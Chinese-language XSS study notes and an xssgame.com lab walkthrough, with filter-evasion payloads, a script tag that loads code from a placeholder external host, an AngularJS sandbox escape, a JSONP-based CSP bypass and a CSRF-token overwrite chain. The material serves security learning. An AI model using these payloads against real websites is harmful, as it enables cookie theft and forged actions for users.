这个笔记基础内容是基于WebGoat靶场撰写的
Cross Site Scripting (XSS) https://owasp.org/www-community/attacks/xss/
XSS Filter Evasion Cheat Sheet :https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
干货笔记!一文讲透XSS(跨站脚本)漏洞 https://cloud.tencent.com/developer/article/1969009
他山之石 | 对 XSS 的一次深入分析认识 https://www.freebuf.com/articles/web/195507.html
超全的xss绕过技巧 https://segmentfault.com/a/1190000044942572
前端安全系列(一):如何防止XSS攻击? https://segmentfault.com/a/1190000016551188
相关论文:
- Dancer in the Dark: Synthesizing and Evaluating Polyglots for Blind Cross-Site Scripting
- Link: Black-Box Detection of Cross-Site Scripting Vulnerabilities Using Reinforcement Learning
- Don’t Trust The Locals: Investigating the Prevalence of Persistent Client-Side Cross-Site Scripting in the Wild
概念
最基础的验证语句<script>alert('XSS')</script>
,
XSS最常出现的地方:
- Search fields that echo a search string back to the user(将搜索字符串回显给用户的搜索字段)
- Input fields that echo user data(回显用户数据的输入字段)
- Error messages that return user-supplied text(返回用户输入文本的错误消息)
- Hidden fields that contain user-supplied data(包含用户数据的隐藏字段)
- Any page that displays user-supplied data(显示用户数据的任何页面)
- Message boards(留言板)
- Free form comments(自由形式评论)
- HTTP Headers(HTTP头部)
XSS攻击可能会导致:
- Stealing session cookies 窃取会话cookie
- Creating false requests 创建虚假请求
- Creating false fields on a page to collect credentials 在页面上创建用于收集凭据的虚假字段
- Redirecting your page to a “non-friendly” site 将您的页面重定向到“不友好”的网站
- Creating requests that masquerade as a valid user 创建伪装成有效用户的请求
- Stealing of confidential information 窃取机密信息
- Execution of malicious code on an end-user system (active scripting) 在最终用户系统上执行恶意代码(主动脚本)
- Insertion of hostile and inappropriate content 插入敌对和不适当的内容
XSS攻击类型:
反射型(Reflected)
- 用户请求中的恶意内容通过Web浏览器显示给用户
- 服务器响应后,恶意内容被写入页面
- 需要社交工程学技巧
- 以用户在浏览器中继承的浏览器权限运行
DOM-based(技术上也属于反射型)
- 客户端脚本使用用户请求中的恶意内容将HTML写入其页面
- 类似于反射型XSS
- 以用户在浏览器中继承的浏览器权限运行
存储型(Stored or persistent)
- 恶意内容存储在服务器上(数据库、文件系统或其他对象),稍后显示给用户的Web浏览器
- 不需要社交工程学技巧
除此之外还有下面这些xss类别:
mXSS:mXSS中文是突变型XSS,指的是原先的Payload提交是无害不会产生XSS,而由于一些特殊原因,如反编码等,导致Payload发生变异,导致的XSS。 https://www.freebuf.com/articles/network/409092.html
UXSS:是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。UXSS 可以理解为Bypass 同源策略。
XSS的攻击载荷
1 | <script src=http://xxx.com/xss.js></script> #引用外部的xss |
XSS 绕过技巧
Eval & 其它冗余符号
如果目标系统的WAF或其它防护软件没把 /(eval|replace)\(.+?\)/i
这种样式列入黑名单,那么我们可以在其中通过夹杂冗余符号的方式形成Payload,利用其中的eval动作来加载Payload,再利用之后的replace动作把冗余符号进行替换删除。eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))
当引号被转义(escape)之后,不管使用了什么绕过技术,肯定会引起问题,就像上面的eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))
一样,如果要顺带把引号转义,其Payload可能如下:eval(\'~a~le~rt~~(~~1~~)~\'.replace(/~/g, \'\'))
但另一种变换方法就是利用正则表达式来避免带入引号的使用,如可以在上述Payload中引入正斜杠方式,然后再用创建的正则表达式对象属性来访问其中的闭合字符串。示例如下:eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
以此用new String()来实现把~转换为空字符串的目的,从而不需要用到引号。
对引号实行转义并绕过WAF类产品模式匹配规则的一个有效手段是使用eval的String.fromCharCode方法,该方法将获取一个或多个十进制Unicode值,然后将它们转换成等效的ASCII字符,并将它们连成一个字符串,如:console.log(String.fromCharCode(65,66,67,68)) //在终端返回显示的是字符串 "ABCD"
通过这种对Unicode值的转换,可以把目标值传递给eval,因此,可以构造Payload如下:eval(String.fromCharCode(97,108,101,114,116,40,49,41)) //// 最终执行的会是 alert(1)
我们也可以采取其它方法来规避过滤。由于函数可以存储在JavaScript的变量中,所以为了不直接调用eval,我们可以把它分配给一个变量,然后间接调用它,示例如下:var x = eval; x('alert(1)')
另外一种间接调用eval的方法是用括号进行构造,即用括号间接调用法,如表达式(1,2,3,4)返回的是4,即括号中最后一个,所以(1,eval)返回的是函数eval,具体示例如下:
1 | (eval) // 返回函数eval |
因此可以构造以下Payload来执行:(1, eval)('alert(1)') // 返回 alert(1)
基于此,也可以使用call方法来直接调用,如下:eval.call(null, 'alert(1)') //返回 alert(1)
其次,可以定义一个新函数的方法来规避直接对eval的调用,当然这种方法还会涉及到一些语法定义,如下:
1 | function hackThePlanet () { |
最后,还可以用创建Function对象的方式来实现alert调用,该对象接受构造函数中的字符串作为函数实现,如下:new Function('alert(1)')()
利用错误输入过滤机制实现绕过
删除机制:
也可能会删的不干净,如下是常见的绕过方式:<sc<script>ript>alert(1)</sc</script>ript>
上述javascript中,如果过滤器只是简单地把<script>
和 </script>
标签对删除了,那么最终会剩下:<script>alert(1)</script>
同样的方法可以应用到一些标签属性或事件处理程序中,就像如果onerror是删除目标,那么,我们可以构造以下Payload:<img src=x ononerrorerror=alert(1) />
替换机制:
如果目标系统的过滤器会把<script></script>
标签对都过滤替换为NAUGHTY_HACKER字段,那么,我们提交<script>alert(1)</script>
之后的结果就会是NAUGHTY_HACKERalert(1)NAUGHTY_HACKER。
但如果我们把<script>标签对的声明改为<script <script>>
和 </script </script>>
这种嵌套式样式后,那么参照替换为NAUGHTY_HACKER字段的规则,对于<script>alert(1)</script>
来说,目标过滤器会把它过滤为:<script NAUGHTY_HACKER>alert(1)</script NAUGHTY_HACKER>
看上去是个莫名标签,但浏览器的容错机制仍会执行上面的代码
靶场实战
http://www.xssgame.com/
第一关直接插入就好了,来看第二关
测试xss的主要思路是看回显在哪里,通过自定义化输入闭合或绕过一些限制
可以看到我们的输入回显在两个地方,针对第一个地方onload="startTimer('1');"
,在JS代码中,如:var a = 'a' + alert();
,在运算过程中会自动执行响应函数,我们可以利用这里的onload函数onload="startTimer('1' + alert(1)+'1');" />
,构造这样的语句就可以实现弹窗,使用这个payload也可以实现:'); alert(1); //
第三关,根据提示,直接看代码:
1 | function chooseTab(name) { |
看到了有用到img标签,前面总结的载荷中就写到了,图片显示错误的话会自动触发onerror,<img src=x ononerrorerror=alert(1) />
,构造payload/#1' onerror='alert(11)'
,来到下一关
第四关,看到没有任何回显,在几个页面间跳转,F12查看页面源代码,发现了一行这样的代码setTimeout(function() { window.location = 'welcome'; }, 1000);
,这里需要提到一个知识点:window.location
等同于 window.location.href
,而href属性支持执行javascript也就是这样写:href='javascript:alert()'
,因此可以构造Payload:next=javascript:alert()
,成功执行
第五关,用到了Angular框架,这个框架的特点是可以用{{1+1}}
类似这样的方式执行代码,但是我尝试输入后,发现被html编码了,而且也没有什么地方可以执行,接下来审计代码:
1 | <script> |
上面代码涉及到UTM解析:UTM参数是在线营销和网站分析中的一个重要工具,它们是一组查询参数,可以附加到URL中,用于追踪和分析营销活动的效果。UTM代表Urchin Tracking Module。location.search
是对URL的查询字符串,split('&')
是把字符串分割成数组,split('=')
是把数组分割成键值对,decodeURIComponent(r[1])
是把编码后的字符串解码,并赋值给el[0]。也就是对参数中的代码作了执行,替换到UTM_PARAMS中某个节点处,则构造payload:?utm_term={{alert()}}
,成功。
第六关,发现和前面的类似,但都尝试了下不行,其实刚才我遇到Angular后第一反应是去搜有没有相应的框架漏洞,这次又检索了下,发现有一个漏洞,满足源代码中引用的版本:1.2.0
下面的博客中给出了相应的payload
https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs
尝试输入,构造参数?query={{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
,直接放在url中没有反应,看了解析说用{
是{的字符实体,}
是}的字符实体。使用这些实体替代原字符可以实现注入。
第七关,这关打开后看到熟悉的CSP,CSP是Content Security Policy的缩写,前两天刚看了。审计代码发现有个关键的level7.js文件,其中内容如下:
1 | function main() { |
在其中看到了熟悉的jsonp,jsonp可能会错误接收callback 参数,构造payload:jsonp?callback=1
,有正常回显
接下来想办法插入执行代码,观察url参数是被base64编码后的,随便输入一些尝试下,可以显示在页面,编码后传入<script>alert(1)</script>
(PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
),发现没有正常显示。观察控制台输出:
因为同源策略被禁止代码执行,这个时候就想到上面的jsonp,利用jsonp执行代码,构造payload <script src='jsonp?callback=alert();//'></script>
,编码后:PHNjcmlwdCBzcmM9J2pzb25wP2NhbGxiYWNrPWFsZXJ0KCk7Ly8nPjwvc2NyaXB0Pg==
,最终成功执行。
第8关,先走了下流程,大概就是可以set自己的名字,然后可以给别人转账,那么我们的思路就是,给出一个链接,可以set的同时还可以直接转账,首先看下set的内容:http://www.xssgame.com/f/d9u16LTxchEi/set?name=name&value=12345&redirect=index
返回包中Set-Cookie: name=12345; Path=/
和我们设定的一致,看下转钱的包,请求如下:http://www.xssgame.com/f/d9u16LTxchEi/transfer?name=31123&amount=123&csrf_token=99DPV595WL
我们先验证下set,构造payloadhttp://www.xssgame.com/f/d9u16LTxchEi/set?name=csrf_token&value=12345&redirect=index
,发现成功set,因为这里的set之后直接就有跳转,那我们直接构造一个转账页面跳转过去执行,因为&
会被url解析为参数,所以这里用url编码下transfer%3Fname%3D31123%26amount%3D123%26csrf_token%3D12345
,直接在控制台执行encodeURIComponent('transfer?name=31123&amount=123&csrf_token=12345')
即可,到这里是能干坏事了,但还是没有正常执行,发现转账数目错误的情况下会有回显,构造payload如下:transfer?name=31123&amount=%3Cscript%3Ealert()%3C/script%3E&csrf_token=12345
。
防范XSS
https://segmentfault.com/a/1190000022678120
https://www.cnblogs.com/blbl-blog/p/17188558.html